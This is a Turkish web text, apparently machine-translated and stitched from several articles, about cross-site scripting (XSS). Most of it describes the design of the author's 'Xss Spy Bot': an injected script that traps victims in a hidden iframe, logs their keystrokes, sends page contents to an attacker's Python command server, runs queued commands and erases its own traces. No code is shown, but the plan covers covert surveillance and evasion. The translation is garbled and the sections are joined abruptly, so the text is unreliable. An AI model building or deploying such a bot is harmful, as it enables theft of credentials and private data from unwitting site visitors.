Kolay Hack: Siteler Arası Komut Dosyası Dahil Etme Yoluyla Veri Nasıl Elde Edilir. XSS güvenlik açıklarından en iyi şekilde yararlanma Xss noscript uyarısı
XSS güvenlik açığı nedir? Ondan korkmalı mıyım?
Siteler Arası Komut Dosyası (kısaca XSS), birçok web uygulamasını etkileyen yaygın bir güvenlik açığıdır. Saldırganın, siteyi ziyaret eden kullanıcının tarayıcısı kodu çalıştıracak şekilde bir web sitesine kötü amaçlı kod enjekte etmesine olanak tanır.
Tipik olarak, bu tür bir güvenlik açığından yararlanmak, kullanıcıyla bir miktar etkileşim gerektirir: ya sosyal mühendislik kullanılarak virüslü bir siteye çekilirler ya da yalnızca kullanıcının siteyi ziyaret etmesini beklerler. Bu nedenle, geliştiriciler genellikle XSS güvenlik açıklarını ciddiye almazlar. Ancak ele alınmazlarsa, ciddi bir güvenlik tehdidi oluşturabilirler.
Yeni içerik ekleyerek WordPress yönetici panelinde olduğumuzu hayal edin. Bunun için XSS'ye karşı savunmasız bir eklenti kullanırsak, tarayıcıyı yeni bir yönetici oluşturmaya, içeriği değiştirmeye ve diğer kötü niyetli eylemler gerçekleştirmeye zorlayabilir.
Siteler arası komut dosyası çalıştırma, bir saldırgana bugünlerde en önemli yazılım parçası olan tarayıcı üzerinde neredeyse tam kontrol sağlar.
XSS: Enjeksiyon Güvenlik Açığı
Herhangi bir web sitesi veya uygulamanın birden çok veri giriş konumu vardır - URL'nin kendisine kadar form alanları. Veri girişinin en basit örneği, bir forma bir kullanıcı adı ve şifre girdiğimiz zamandır:
Şekil 1. Veri giriş formu
İsmimiz, gelecekte bizimle iletişim kurmanız için sitenin veritabanında saklanacaktır. Elbette, herhangi bir siteye giriş yaptığınızda, "Hoş Geldiniz Ilya" tarzında kişisel bir selamlama gördünüz. Bu amaçla, kullanıcı adları veri tabanında saklanır.
Enjeksiyon, bir ad veya parola yerine özel bir karakter dizisi girildiğinde sunucuyu veya tarayıcıyı saldırganın ihtiyaç duyduğu belirli bir şekilde yanıt vermeye zorlayan bir prosedürdür.
Siteler arası komut dosyası oluşturma, bir web sitesi adına tarayıcıda eylemleri yürütecek kodu enjekte eden bir enjeksiyondur. Bu, kullanıcının bilgisi olmadan hem kullanıcının bildirimiyle hem de arka planda olabilir.
Şekil 2. Siteler arası komut dosyası oluşturmanın görsel bir diyagramı
En basit örnek, bir bildirim penceresi görüntüleyen temel bir komut dosyasıdır. Şuna benzer:
Tablo 1. Açılır pencereyi çağıran komut dosyası
Bu komut dosyası "BU XSS GÜVENİLİRLİĞİ !!!" yazısıyla bir pencere çağırır. Kullanıcının tarayıcısı, bu komut dosyasını sitenin yasal kodunun bir parçası olarak algılar ve yürütür.
XSS güvenlik açıklarının türleri
Tüm XSS güvenlik açıkları aynı değildir, birçok türü vardır. Türler ve nasıl etkileşimde bulundukları aşağıda verilmiştir:
Şekil 3. XSS güvenlik açıklarının türleri
Sunucu tarafı kodunun neden olduğu güvenlik açıkları (Java, PHP, .NET vb.):
Geleneksel XSS saldırıları:
- Yansıyan (süreksiz). Yansıyan bir XSS saldırısı, bir kullanıcı özel olarak hazırlanmış bir bağlantıya tıkladığında tetiklenir. Bu güvenlik açıkları, bir web istemcisi tarafından, çoğunlukla HTTP istek parametrelerinde veya HTML biçiminde sağlanan veriler, uygun işlem yapılmadan o istemci için bir sonuç sayfasını ayrıştırmak ve görüntülemek için doğrudan sunucu tarafındaki komut dosyaları tarafından yürütüldüğünde ortaya çıkar.
- Saklandı (kalıcı). Depolanan XSS, bir saldırgan, orijinal sayfaya her erişildiğinde tarayıcıda çalışan bir sunucuya kötü amaçlı kod enjekte edebildiğinde mümkündür. Bu güvenlik açığının klasik bir örneği, HTML yorumlarına izin veren forumlardır.
İstemci tarafı kodunun neden olduğu güvenlik açıkları (JavaScript, Visual Basic, Flash vb.):
DOM modelleri olarak da bilinir:
- Yansıtılmış (süreksiz). Sunucu tarafında olduğu gibi, ancak bu durumda saldırı, kodun tarayıcı tarafından işlenmesi nedeniyle mümkündür.
- Saklandı (kalıcı). Sunucu tarafında depolanan XSS'ye benzer şekilde, yalnızca bu durumda kötü amaçlı bileşen, tarayıcı depolaması kullanılarak istemci tarafında depolanır.
Altyapı güvenlik açıkları (tarayıcı, eklentiler, sunucular vb.):
Çok nadir, ancak daha tehlikeli:
- İstemci tarafı altyapısı. Kötü amaçlı bir bileşen, tarayıcı işleviyle, örneğin XSS filtresi vb. İle herhangi bir değişiklik yaptığında ortaya çıkar.
- Sunucu tarafı altyapısı. Bir web sunucusu istekleri doğru şekilde işlemediğinde ve değiştirilmesine izin verdiğinde ortaya çıkar.
- Ağ. İstemci ile sunucu arasındaki iletişime sızmak mümkün olduğunda gerçekleşir.
Kullanıcı kaynaklı güvenlik açıkları:
- Kendinden XSS. Genellikle, bir kullanıcı tarayıcısında yanlışlıkla kötü amaçlı kod çalıştırdığında, sosyal mühendisliğin bir sonucu olarak gerçekleşir.
XSS tehlikesi nedir?
Sitenizi XSS'den nasıl koruyabilirsiniz? Güvenlik açıkları için kod nasıl kontrol edilir? Sucuri Güvenlik Duvarı gibi, bu tür saldırıları önlemek için özel olarak tasarlanmış teknolojiler vardır. Ancak bir geliştiriciyseniz, XSS güvenlik açıklarını nasıl belirleyeceğiniz ve düzelteceğiniz hakkında kesinlikle daha fazla bilgi edinmek isteyeceksiniz. XSS ile ilgili makalenin sonraki bölümünde bunun hakkında konuşacağız.
Herkes uzun zamandır bir saldırganın XSS kullanarak bir kurbana çerez göndermeye, CSRF belirteçlerini okumaya, kimlik avı saldırısı yapmaya (sahte bir giriş formu oluşturarak), bir kullanıcı adına bazı eylemler gerçekleştirmeye ve diğer bazı benzer saldırılara (belki de bu tüm olasılıklar, ancak bunlar şu anda bildiğim en popüler olanlar).
Bu yöntemin amacı, saldırıya uğrayan sitede ziyaret ettiği kullanıcı adına sayfaları izlemenin yanı sıra tuş vuruşlarını da izlemektir (ayrıca hareket ettirebilir ve fare tıklamalarını da yapabilirsiniz, ancak benim için bu gereksiz olacaktır, çoğu durumda pek kullanışlı bir bilgi olmayacaktır). ...
Şimdi maksimum fayda için - algoritmanın şöyle olacağına inanıyorum:
- tanımlama bilgilerini okuyun ve gönderin;
- bilgilerin geri kalanını okuyun ve gönderin (IP adresi, yüklü eklentiler, tarayıcı sürümü ve türü, flash desteği, silverlight desteği vb.) [isteğe bağlı]
- dahili ağ hakkında bilgi alırız, yönlendiriciyi aşarız [isteğe bağlı]
- farklı belirteçleri okuyun ve gönderin [isteğe bağlı];
- phishing [isteğe bağlı] uyguluyoruz;
- kullanıcı tarafından "elle" "bir şeyler yapın [isteğe bağlı];
- sekmeyi kapatana veya siteden ayrılana kadar onu gözetlemeye ve bilgi almaya devam ediyoruz;
Listedeki tüm isteğe bağlı öğeler, duruma ve XSS kullanılarak elde edilecek amaçlar için belirli önceliklere bağlı olarak gerçekleştirilmelidir, bazen birbirleriyle çakışabilirler (daha doğrusu bunları birleştirmeye çalışırsanız, tek tek gerçekleştirirseniz) ve XSS kullanımının başarısız olma olasılığını artırabilirler.
Ancak her durumda ilk ve son noktalara mutlaka uyulmalı, aslında yazının ana kısmı bu listeden son nokta ile ilgili olacaktır.
Hedefe geliyoruz.
Uzaktan başlayacağım: JavaScript aracılığıyla, sayfayı yeniden yüklemeden adres çubuğundaki yolu değiştirmek mümkündür. Örneğin, bir kullanıcı şu adrese bir sayfa yüklediyse
http://site.com/some/path/to/page/
Ardından adres çubuğunda içerik aşağıdaki gibi olacaktır (sayfayı yeniden yüklemeden):
http://site.com/new-url/
http: //site.com/new-url/ |
Bu arada, bu özellik, Yansıtılmış XSS içeren bağlantıya tıkladıktan sonra URL'yi kullanıcılardan (veya daha dikkatli kullanıcı kategorisinden - yöneticilerden) gizlemek gerektiğinde, bazen oldukça yararlıdır, böylece daha sonra, sayfayı yükledikten sonra, adres çubuğuna hiçbir şey bulunamadı.
http: //site.com/search.php?q\u003d123 |
http://site.com/search.php?q\u003d123
http: //site.com/search.php?q\u003d123 |
onu bu fırsattan mahrum edeceğiz.
Ancak bu tekniğin daha da ilginç ve güçlü kullanımları vardır. Kullanıcının bağlantıya tıkladıktan sonra sitede kalışını simüle edeceğiz, aslında her zaman aynı sayfada kalacak ve bu sırada üçüncü taraf bir komut dosyası çalışacak, saldırgana bilgi çıkaracak ve gönderecektir. Böylece, XSS, kullanıcı bu alandaki bağlantıyı takip ettiği sürece çalışacaktır. .
Fikri biz tanımlıyoruz.
Genel çalışma prensibi şu şekildedir: bir kullanıcı XSS \u200b\u200bile bir sayfayı ziyaret ettiğinde, komut dosyası sayfayla aynı adrese sahip bir iframe oluşturur ve bunu ön plana "ekler", kullanıcı sayfanın normal olarak yüklendiğini gösterir, çünkü iframe yalnızca kodda görülebilir sayfalar.
Ve yardımcı komut dosyası, casus botun mantığını kontrol eder, yani, adres çubuğunda değiştirmek için çerçevedeki adres değiştiğinde izler, ancak çerçevenin yeni değiştirilen adresinde farklı bir alan varsa, yeni bir vlkadka'da açabilirsiniz veya sayfayı yeniden yüklemeniz gerekir. yanmamak için.
Bu nedenle, XSS'nin o anda çalışmayı durdurması için, kullanıcının ya sayfayı manuel olarak yenilemesi gerekir (XSS Yansıtılmışsa ve POST yöntemiyle iletilmişse, diğer durumlarda güncelleme kaydedilmez ve bu arada, bazı tarayıcılar artık sayfayı güncellerken POST isteğini tekrar gönderebilir) sekmeyi kapatın veya başka bir etki alanına geçin (bu durumda yine de kontrolü kaybetmekten kaçınabilirsiniz).
Saldırıya uğrayan etki alanının bir alt etki alanına giderse, saldırganın seçimi, yani XSS işe yarayacaktır, ancak kullanıcının adres arasında bir tutarsızlık görme olasılığı çok düşüktür. Buradaki duruma göre örneğin google.ru alanı saldırıya uğradıysa, kullanıcının Google'ın bulut dosya hizmetine gittiğini düşünüyorum, ki bu genellikle drive.google.ru alt etki alanında yer alıyor, o zaman adres çubuğuna bakarken yakalamayı fark etme olasılığı oldukça yüksek. , bu hizmeti sık sık kullanırsa... Aksi takdirde riske girebilirsiniz. Ancak, Cross Origin Politikası buna izin vermeyeceğinden, verilerini bir alt etki alanına sahip bir çerçeveden okuyamayacağımızı dikkate almalıyız. Ancak, gizli modda ana etki alanına sakince tırmanabiliriz (aşağıda bu konuda daha ayrıntılı olarak daha ayrıntılı bilgi vereceğiz).
Sadece bu yöntemin sınırlamaları vardır, yani - sitenin web sunucusunun yanıtlarında bir başlık varsa çalışmaz. X-Frame-Seçeneklerianlamı ile REDDETMEK... Ama şahsen, bu tür sitelerle sadece birkaç kez tanıştım, şimdi yarısı bile SAMEORIGINtam kısıtlama bir yana, maruz kalmamış REDDETMEK.
Fikri analiz ediyoruz.
Şimdi birçok kişi muhtemelen BeEF gibi harika bir şeyi hatırladı, ki bu da birçok ilginç şeye sahip. Bu arada, çerçevede zorunlu kullanıcı yeniden yönlendirme seçeneği de vardır, ancak adres çubuğundaki adres değişmez, bu da masayı hızlı bir şekilde yakabilir ve bu seçenek başka amaçlara biraz hizmet eder.
Genel olarak, BeEF'e ihtiyacınız olan hemen hemen her şeye ve hatta birçok ek işleve sahiptir, ancak kişisel olarak ek işlevler istedim, yani:
- saldırıya uğrayan kullanıcının erişebildiği sayfaların kodunu gerçek zamanlı izleme yeteneği;
- o sitede yazdığı her şeyi (giriş ve şifreden, kısayol tuşlarına ve mesajlara kadar), yani JS'de keylogger'ı izleme yeteneği;
- alınan sayfaların kodunu görüntüledikten sonra botunuza gerçek zamanlı olarak JS komutları verme yeteneği;
- komutları bota yerel olarak bırakma yeteneği, böylece komutları daha sonra onları "alır" ve doğrudan katılımımız olmadan yürütür;
- botun yanma olasılığının düşük olması veya botun meraklı gözlerden "saklanma" yeteneği;
Yukarıda bahsedildiği gibi, BeEF'in harika komut yürütme kuyruğu fikrinden ödünç almaya karar verdim. Örneğin, ayrıcalıklı bir kullanıcı depolanmış XSS ile kontrol paneline tırmandığında botun attığı sayfaları analiz ettik, komutu bot - JS koduna bırakıyoruz, kullanıcının bir sonraki girişinde olduğu gibi, bu düğmeye basıp, bu değeri buraya yaz, vb. Bu kullanıcı bir sonraki sayfayı ziyaret ettiğinde, bot komutları okur ve onları çalıştırır ve onun dümeninde olmamız gerekmez - bu çok uygundur.
Temel olarak, böyle bir bot, elbette, içerik yönetimi için ek "kaldıraçlar" olan bazı sitelerin durum kullanıcıları, diğer kullanıcılar için tasarlanmıştır. İşlevsellik taleplerinden, sunucu tarafı olmadan yapamayacağınız açıktır.
Fikri uygulayalım.
Prensip olarak, makalenin bu bölümünü atlayabilirsiniz, çünkü birileri onu değiştirmek veya kendileri için bitirmek isterse, istenen botu ve bazı ayrıntılarını uygulama sürecini basitçe açıklar. Kodun başındaki bot, üzerinden bazı ayarları yapabileceğiniz değişkenlere sahip olsa da.
İlk olarak, yükleme anından itibaren bot eylemlerinin algoritması:
1) Bir başlığın kontrol edilmesi X Çerçeve Seçenekleri: DENY(varsa, oltaları yuvarlayın);
2) Bir çerçeve yerleştirmek ve botun tüm bileşenlerini kurmak;
3) Komut dosyasını ve HTML kodundaki tüm izleri kaldırma;
4) Sunucu tarafı ile iletişim kurmak ve veri göndermeye başlamak, yanıtlara tepki vermek (sunucudan komutlar almak);
İlk nokta tamamen tamamlanmadı, yani bot yalnızca ilk sayfayı ve kök başlığını kontrol ediyor. Gerçek şu ki, genellikle bu başlıklar web sunucusu tarafından tüm sayfalar için bir kerede gömülür ve her şeyin ayrı bir sayfa için "elle" yapılması çok nadirdir. Ve bu unvanın kendisi oldukça nadirdir. İkinci ve üçüncü hakkında söylenecek özel bir şey yok, her şey daha düşük olacak.
Kodunuza bot betiği kodunu eklemeden önce, tespit şansını azalttığı ve en önemlisi çerçeveye bir adres eklerken meydana gelen özyinelemeyi engellediği için, adres çubuğundaki XSS işaretlerinden hemen (JS kodundan) kurtulmanız gerektiğinin görece önemli bir nokta vardır. aynı XSS \u200b\u200bkoduyla, bu da kendi başına başka bir çerçeve oluşturur ve bu böyle devam eder.
Ancak her ihtimale karşı, bot kodu böyle bir çerçeve özyinelemesini tespit etme ve onu önceden oluşturulmuş bir çerçeveye ilk kez bir çerçeve ekleme girişiminde önleme olasılığını uygular, ancak yalnızca ona güvenmemek, bot kodunu yüklemeden önce ek olarak kodu silmek daha iyidir. Henüz herhangi bir sorunla karşılaşmadım.
Çerçeve güncelleme kontrol işlevi. Olay işleyicilerini asarak bu sorunu ekonomik olarak çözmenin birkaç yolunu denedim. contentWindowveya contentDocument, ancak hiçbir şey başarılı olmadı, bu yüzden çerçevenin adresini kontrol edecek ve bunu daha önce kaydedilenle karşılaştıracak bir işlev yazmam ve buna dayanarak çerçevenin güncellenip güncellenmeyeceğine (adresin değişip değişmediğine) karar vermem ve ardından kendini yinelemeli olarak çağırmam gerekti.
Saniyede bu tür kontrollerin sıklığı bir değişken tarafından kontrol edilir gecikmebot kod dosyasının başında belirtilir. Ancak daha sonra, daha önce yazdıktan sonra daha verimli bir çözüm buldum - basit bir çözüm kullanın yüklemekare başına, bu yüzden bu işlevi bıraktım, ancak daha sonra daha fazla talep görmesi durumunda onu yorumladım.
Sayfanın HTML kodunu gönderme.
Burada şema oldukça basittir - çerçevenin her yeniden yüklenmesinden sonra (ilk yükleme dahil), bot sunucuya sayfanın tüm HTML kodunu geçerli adresiyle birlikte gönderir, böylece daha sonra kodun gerekli sayfalara ait olup olmadığını ayırt edebilirsiniz.
Sunucu, sayfaları saklama mantığını uygular - her etki alanı için sunucu bu etki alanının adıyla bir klasör oluşturur ve orada tüm verileri kaydederiz. Sayfa kodları kaydedilir ve sürekli olarak en son sürümlere güncellenir, ancak her yeni günde sayfanın yeni bir kopyası oluşturulur, böylece gerekirse sürüm geçmişini kontrol edebilirsiniz. Yani /news.php1 Eylül'de durum güncellenecek ve 2 Eylül'de bunun bir kopyası oluşturulacak, yalnızca o gün için ve dolayısıyla her gün tekrar (kullanıcı bu sayfayı her gün ziyaret ederse) ilgili olacak. Sayfa adı, site köküne göre (yani, etki alanı olmadan) bu sayfanın tarih ve yolundan oluşur.
JavaScript'te Keylogger.
Fikir zaten bazı meraklılar tarafından uygulandı, ancak benim için geliştirmeleri uymuyordu, sadece çoğu oldukça basit olduğu için, yani basılan tuşun kodunu tespit ettiler ve aracılığıyla String.fromCharCodesembollere çevrildi. Ancak bu yöntemin bir takım dezavantajları vardır - vardiya, kontrol, boşluk vb. Gibi kontrol tuşları herhangi bir biçime dönüştürülmez (genellikle sadece boş bir karakterdir), alfanümerik tuşların shift tuşuyla etkileşimi yanlış şekilde kaydedilir, çünkü bunun programla uygulanması gerekir ve ayrıca, basılan tüm tuşlar büyük harf olarak görüntülenir ve bu da programla düzeltilebilir.
Sonuç, tüm sayı, harf ve temel karakter anahtarlarını doğru bir şekilde algılayan, her iki düzen üzerinde çalışan, vardiyaya yanıt veren ve tüm ana özel anahtarları günlüğe kaydeden bir keylogger oldu. Doğru, bazı makinelerde (vardiya ve numaraya basıldığında basılan dijital satırın üst kısmında) bazı karakterler, bazı şirketlerin bazıları için değiştirdiği ana standarda göre uygulandıkları için farklılık gösterebilir.
Basılan karakterlerin her bir bölümü, metin öğesi odağı kaybedene kadar müşteri tarafından tutulur. Daha sonra bu kısım, her gün yeni bir kopya ile oluşturulacak bir metin dosyasına kaydedildiği sunucuya gönderilir, böylece büyük boyutlarda büyüme olmaz ve kullanıcının böyle bir zamanda ne yazdığını hızlı bir şekilde bulabilirsiniz.
Anahtarların kendilerine ek olarak, metnin yazıldığı öğe hakkındaki bilgiler her bölümle birlikte sunucuya gönderilir (yani, , veya biraz
kullanıcı kısayol tuşlarını kullandığında), öğenin adına ek olarak, temel verileri (id, ad, sınıf - varsa) gönderilir, böylece kodda kolayca bulunabilir. Ve tabii ki setin bulunduğu sayfanın adresi ve bu setin yaklaşık zamanı kaydedilir. Genel olarak, klavyeyi tıklatan kullanıcı hakkındaki bilgiler, sonraki analizi için yeterince gönderilir.
Botunuza komuta edin.
Bu işlem bir saldırgan tarafından veya botun sunucu kısmının başlatıldığı tarafta, hatta uzaktan gerçekleştirilebilir. Sunucu betiğini başlattıktan sonra, web arayüzü üzerinden çalışan bot ve denetleyicisinin isteklerine hizmet eden, kendi kendine yazılmış minyatür bir web sunucusu başlar. Yani, başladıktan sonra web sunucusu, bota komutlar vermeye başlayabileceğiniz üzerine tıklayarak bir bağlantı verir.
Bu kontrol paneli hakkında. Öncelikle, bir şifre ile sınırlandırmak gerekiyordu (yol ve çok az kişi bu tür bir bağlantı noktasında çalışan hizmet hakkında veya bu hizmeti kullanmak için oturum açmanız gereken adres hakkında bilgi sahibi olacak), böylece sunucuya ilk girdiğinizde sağlanan bir şifre isteyecektir. adres çubuğunda (bir örnek verilecektir), orijinal şifre şurada saklanır: password.txtbu değiştirilebilir. İlk ziyaretten sonra, web sunucusu tarayıcıya parolayı bir tanımlama bilgisine kaydetmesi talimatını verecektir, böylece artık endişelenmenize gerek kalmaz.
Botun kendisine komut gönderme sayfasında, botun durumu hakkında - şu anda çevrimiçi mi yoksa çevrimdışı mı olduğu ve ilki ana bilgisayar, yani komutların bota gönderileceği sitenin IP adresi veya etki alanı olan birkaç ayar hakkında bilgi de vardır. Bu, tanımlanabilmeleri için birkaç sitenin bu botu içermesi durumunda hesaplanır. Sunucuda, bu durumda, tüm veriler de etki alanı adlarına sahip klasörlere bölünür.
Daha sonra, bota JS'de komutların yazılacağı pencere ve bu JS kodunun nerede yürütüleceğini belirleyen seçenek, botun bulunduğu ana pencerede veya bir çerçeve içinde gelir - bu, her ihtimale karşı kolaylık sağlamak için yapılır.
Bot çevrimiçi değilse, sunucu basitçe komutları kaydeder ve daha sonra bot çevrimiçi olduğunda, yani kullanıcı sayfayı tekrar ziyaret eder veya saldırganın bağlantısını izler - bu komutlar yürütülür.
Bu, ilk keşif sırasında, kullanıcı tarafından ziyaret edilen tüm sayfaları (örneğin, kişisel bir hesap), JS'de komutları derlediğimiz kodu inceledikten sonra attıysa, bu çok kullanışlıdır, böylece daha sonra bot, ihtiyacımız olan bağlantılara tıklar, gerekli verileri girer, gerekli resimleri görüntüler vb. belirlenen hedefe ulaşmak.
Ya da doğrudan gerçek zamanlı olarak, kod aracılığıyla sayfaların içeriğine hızlıca bakabilir ve bota diğer sayfaların kodunu göndermesi, başka bir adrese gitmesi vb. Komutları verebilirsiniz. Ve tüm bunlar, sakin bir şekilde gezinen kullanıcı tarafından "ekranın arkasında" yapılacaktır. çerçeve aracılığıyla site.
Size kolaylık sağlamak için, en sık kullanılan talimatları JS'deki tüm işlevler halinde oluşturabilir ve daha sonra kaynak dosya botlarına girebilirsiniz ( xsb.jsdosya yapısı aşağıda tartışılacaktır) ve kullanım. Ya da, yalnızca temel olmasına ve yeni bir şey olmamasına rağmen, botta gömülü olan işlevlerin işlevlerini kullanın, ancak örneğin, çerçeve yeniden yüklendiğinde değil, istediğiniz zaman sayfa kodunu gönderme işlevini kullanabilirsiniz. Kullanıcı adına birkaç sayfanın içeriğini görüntülemek (ve bu içeriği sanal elleriyle çalıştırmak) için kendisine aktarılan linkleri arka planda yeni çerçevelerde açacak bir fonksiyon yazabilirsiniz.
Kendi kodunuzu kaldırmak.
Eh, son özellik oldukça basit bir şekilde uygulanır (dosyada istenen değişkeni ayarlayarak devre dışı bırakılabilir, bunlar yorumlanır). Komut dosyası, tüm olay işleyicilerini kurup astıktan, tüm değişkenleri ve işlevleri oluşturduktan sonra kendini siler.
Sonuçta, tüm veriler tarayıcı aracılığıyla zaten RAM'e yüklendi, bu yüzden endişelenecek bir şey yok, ancak bu teoride, belki daha sonra hesaba katmadığım bazı problemler olacak, bu yüzden devre dışı bırakılabilecek bir değişken verdim. gereklilik.
Tüm komut dosyalarını kaldırdıktan sonra, bir çerçevenin varlığı onun hakkında oldukça dolaylı olarak konuşmadığından ve kodun kendisi yalnızca tarayıcının ağ trafiği geçmişi günlüklerinde bulunabileceğinden (geliştirici paneli açık değilse birçok tarayıcıda varsayılan olarak tutulmaz) XSS'yi fark etmek son derece zor olacaktır. ...
Sunucu bölümü.
Botu başlatmanın daha kolay ve daha rahat bir yolu için, bota hizmet edecek soketlere kendi küçük web sunucumu yazmaya, gönderilen veriyi almak ve yerleştirmek için tüm işlemleri sağlamaya, saldırgan ile bot arasında mesaj iletmeye ve saldırgana komuta etmek için bir web arayüzü oluşturmaya karar verildi. ...
Sunucu python ile yazılmıştı, sadece standart kitaplıkları kullanmaya çalıştım, böylece başlatmadan önce hiçbir şey yüklememe gerek kalmadı. Ayrıca, sunucunun kendisi komut dosyalarındaki bazı verileri düzenler, yani botun JS komut dosyasında, komut sunucusunun adresini ayarlamanıza gerek yoktur, web sunucusunun kendisi gerekli olanı başlangıçta oraya koyacaktır. Sunucu yapılandırmasında yalnızca bir parametre vardır - başlayacağı bağlantı noktası (varsayılan olarak 8000).
Başladıktan sonra, sunucu gerekli tüm verileri - kaydırılması gereken JS betiğine bir bağlantı, komut paneline bir bağlantı veya daha doğrusu harici ve yerel adreslere bağlantılar - görüntüleyecektir.
Bir botla çalışma şeması.
Sunucuyu sahipsiz bir bağlantı noktasından başlatıyoruz ve bir bot komut dosyasıyla bir bağlantı gönderebilirsiniz, ardından onu izleyen herkes size günün herhangi bir saatinde sunucunun kaydedeceği verileri gönderecektir. Ekibi bota bırakıp işlerini yapmaya devam etmeniz gerekiyorsa, onları basitçe görüntüleyebilirsiniz.
Dosya yapısı.
Klasör aşağıdaki dosyaları içerir:
- xsb.py- botun çalıştırması için sunucu bölümünü uygulayan ana dosya ve daha sonra sadece sunduğu bağlantıyı kullanın;
- xsb.js- botun JS kodu burada saklanır, bağlantı sunucu tarafından verilir, başlangıçta kendi takdirinize bağlı olarak değiştirilebilecek konfigürasyon değişkenleri bildirilir (bazıları, yani ana bilgisayar ve bağlantı noktası, sunucu daha sonra ortaya çıkar, rahatsız etmenize gerek yoktur);
- panel.html- buradan sunucu bot kontrol panelinin kodunu alır, arayüzü kendi takdirinize göre değiştirebilirsiniz;
- password.txt- kontrol panelindeki şifre burada saklanır ve değiştirilebilir;
- kaydedilen veriler- bu, site etki alanlarına sahip klasörlerin oluşturulacağı ve tüm bilgilerin kaydedileceği bir dizindir.
Bir kez daha, dosyaya not ediyorum xsb.jsdaha sonra panel aracılığıyla çağrılan kendi işlevlerinizi, çok büyük kod bölümleri yazmadan ekleyebilirsiniz;
Sonuçların küçük bir analizi.
Bir kullanıcıyı çerçeveler boyunca XSS ile bir sayfada tutmak için kendi icat ettiğim yöntemi yazdıktan sonra (icat edilmiş bir tane olarak - bunu şahsen kendim için keşfettim, başka birinin bu tekniği kendisi için "icat etmesi" oldukça olasıdır veya genellikle halkın içinde bir yerdedir. parladı, çünkü şimdi gerçekten yeni bir şey geliştirmek oldukça zor ve kural olarak, bir süre sonra "Simpsonlar'da zaten olduğunu" keşfettiniz) BeEF'i daha detaylı incelemeye ve wiki'sini okumaya başladım. Sonra, aynı amaca ulaşmak için başka bir tekniğin uygulandığını keşfettim - kullanıcının sayfadaki çalıştırılabilir XSS (orada denilen) ile zamanını uzatmak tarayıcıdaki adam). Ve şu şekilde uygulandı: ilk sayfadaki tüm bağlantılar, herhangi birine tıklandığında, komut dosyası sayfayı yeniden yüklemeyecek şekilde değiştirildi, ancak Ajax aracılığıyla sunucuya bir istek gönderdi ve yanıta alınan verileri ekledi, yani yapay olarak güncelledi diyebiliriz, bu da düzenli bir yenilemeden neredeyse ayırt edilemez.
Bu nedenle, bu fikri ilk uygulayan ben değildim (yöntemler farklı olsa bile). Ancak bu yöntemlerin her ikisinin de dezavantajları vardır:
Yöntemi yükle
Ajax yöntemi, tarayıcı destekliyorsa her zaman çalışır (artık tüm büyük tarayıcılar bunu desteklemektedir), ancak yeni Web 2.0 standardıyla, JS yoluyla herhangi bir öğenin özel olayları tarafından giderek daha fazla geçiş tetiklenir. Bir keresinde Google AdWords'e gittim ve HTML ve JS'lerinin orada nasıl etkileşime girdiğini görmeye karar verdim, çünkü tüm örümceklerim bu hizmetin haritasını oluşturmakta son derece kötüydü. Ve bütün akşamı sessizce mahvettim, orada ne kadar olağan değildi, metin öğeleri düğmeler, anahtarlar ve sürgülerken ve az önce anlatmadıkları şeylerdi ve her birinin üzerinde asılı yaklaşık 30 farklı olay işleyicisi vardı.
Yani, süslü bir sitede, geçiş düğmesi (öznel olarak bir bağlantı) normal bir etiket aracılığıyla uygulanacaktır. , stillerle yüklü olan ve hangi olay işleyicilerin asılı olduğu, bunlardan biri, örneğin, onclick, kullanıcıyı başka bir sayfaya yönlendirir. [İ] gibi standart öğeler de vardır ya da ben ve bunun gibi, gerçekte diğer sayfalara bağlantı veren, ancak BeEF'in yanıt vermediği ve düğme ve diğer öğelerin çoğuna tıklandığında sayfanın güncellenmeyeceği. Kullanıcıdan sayfayı yenilemesini veya "diğer taraftan" yeniden ziyaret etmesini isteyebilir, bu da aktif XSS oturumumuzu sonlandırır.
Dosyaları adlandırmanın kısalığı için ona Xss Spy Bot adını verdim.
Not:
Periyodik zaman eksikliği ve sürekli dikkat dağınıklığı nedeniyle her şeyin yazılması bir aydan biraz fazla sürdü. Ayrıca bu nedenle, kodun kalitesi ve bir tür hatayla karşılaşma olasılığı oldukça yüksektir. Bu yüzden sizden çok fazla yemin etmemenizi, ancak birisinin sorununu çözebilmeniz için aboneliğinizi iptal etmenizi rica ediyorum.
Ben botu sadece 4 makinede test ettim, hepsinde Debian vardı.
Bu bot için uzun vadeli planlarda, motivasyon varsa:
- botun sunucuya gönderdiği sayfaların kodunun oluşturulmasını uygulayın, böylece tarayıcıda hemen açılır ve anında test edilebilir, "hissedilebilir";
- WebRTC teknolojisindeki güzellikleri yakalamaya çalışacaklar, yani saf JS ile çıkarılamayan yeni bilgiler elde etmenin yollarını bulacaklar;
- HTTP üzerinden WebSocket protokolünü kullanarak bot ve sunucu arasında iletişim kurmak;
- kontrol paneline biraz kolaylık katın;
- 1. XSS nedir
- 2. XSS görünümleri
- 3. DOM tabanlı XSS'nin özellikleri
- 4.XSS Denetçisi
- XSS istismarına 5 örnek
- 6. XSS'ye karşı savunmasız siteleri arayın
- 7. XSS güvenlik açıklarını aramak ve taramak için programlar
XSS nedir
Siteler Arası Komut Dosyası (XSS), istemci tarafı kodun (JavaScript) diğer kullanıcıların görüntülediği bir web sayfasına enjekte edilmesini içeren bir güvenlik açığıdır.
Güvenlik açığı, kullanıcının bir web sayfasına eklenmek üzere gönderdiği verilerin yetersiz filtrelenmesinden kaynaklanmaktadır. Belirli bir örnekle anlamak çok daha kolay. Herhangi bir ziyaretçi defterini düşünün - bunlar, kullanıcıdan gelen verileri kabul etmek ve sonra görüntülemek için tasarlanmış programlardır. Ziyaretçi defterinin giriş verilerini herhangi bir şekilde kontrol etmediğini veya filtrelemediğini, sadece görüntülediğini düşünelim.
En basit betiğinizi çizebilirsiniz (PHP'de kötü betikler yazmaktan daha kolay bir şey yoktur - çoğu insan bunu yapar). Ancak zaten çok sayıda hazır seçenek var. Örneğin, Dojo ve OWASP Mutillidae II ile başlamanızı öneririm. Benzer bir örnek var. Bağımsız Dojo'da tarayıcınıza şu adresten gidin: http: //localhost/mutillidae/index.php? Page \u003d add-to-your-blog.php
Kullanıcılardan biri girdiyse:
Merhaba! Nasılsın.
Ardından web sayfası şunu gösterecektir:
Merhaba! Nasılsın.
Ve kullanıcı şöyle girerse:
Merhaba! Nasılsın.
Ardından şu şekilde görüntülenecektir:
